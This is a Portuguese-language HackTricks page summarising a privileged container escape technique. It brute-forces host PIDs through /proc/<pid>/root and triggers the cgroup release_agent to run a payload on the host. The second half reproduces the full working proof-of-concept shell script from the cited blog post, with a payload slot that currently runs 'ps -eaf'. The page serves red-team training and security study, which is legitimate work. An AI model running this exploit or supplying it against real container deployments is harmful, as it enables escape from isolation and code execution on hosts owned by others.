6.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Para mais detalhes verifique o blog em https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Isso é apenas um resumo:
A técnica descreve um método para executar código do host a partir de um contêiner, superando desafios impostos por configurações de driver de armazenamento que obscurecem o caminho do sistema de arquivos do contêiner no host, como Kata Containers ou configurações específicas de devicemapper
.
Passos principais:
- Localizando IDs de Processo (PIDs): Usando o link simbólico
/proc/<pid>/root
no pseudo-sistema de arquivos Linux, qualquer arquivo dentro do contêiner pode ser acessado em relação ao sistema de arquivos do host. Isso contorna a necessidade de conhecer o caminho do sistema de arquivos do contêiner no host. - Bash de PID: Uma abordagem de força bruta é empregada para pesquisar PIDs no host. Isso é feito verificando sequencialmente a presença de um arquivo específico em
/proc/<pid>/root/<file>
. Quando o arquivo é encontrado, isso indica que o PID correspondente pertence a um processo em execução dentro do contêiner alvo. - Acionando Execução: O caminho do PID adivinhado é escrito no arquivo
cgroups release_agent
. Essa ação aciona a execução dorelease_agent
. O sucesso desta etapa é confirmado verificando a criação de um arquivo de saída.
Processo de Exploração
O processo de exploração envolve um conjunto mais detalhado de ações, visando executar um payload no host adivinhando o PID correto de um processo em execução dentro do contêiner. Veja como se desenrola:
- Inicializar Ambiente: Um script de payload (
payload.sh
) é preparado no host, e um diretório único é criado para manipulação de cgroup. - Preparar Payload: O script de payload, que contém os comandos a serem executados no host, é escrito e tornado executável.
- Configurar Cgroup: O cgroup é montado e configurado. A flag
notify_on_release
é definida para garantir que o payload execute quando o cgroup for liberado. - Força Bruta de PID: Um loop itera através de PIDs potenciais, escrevendo cada PID adivinhado no arquivo
release_agent
. Isso efetivamente define o script de payload como orelease_agent
. - Acionar e Verificar Execução: Para cada PID, o
cgroup.procs
do cgroup é escrito, acionando a execução dorelease_agent
se o PID estiver correto. O loop continua até que a saída do script de payload seja encontrada, indicando execução bem-sucedida.
PoC do post do blog:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.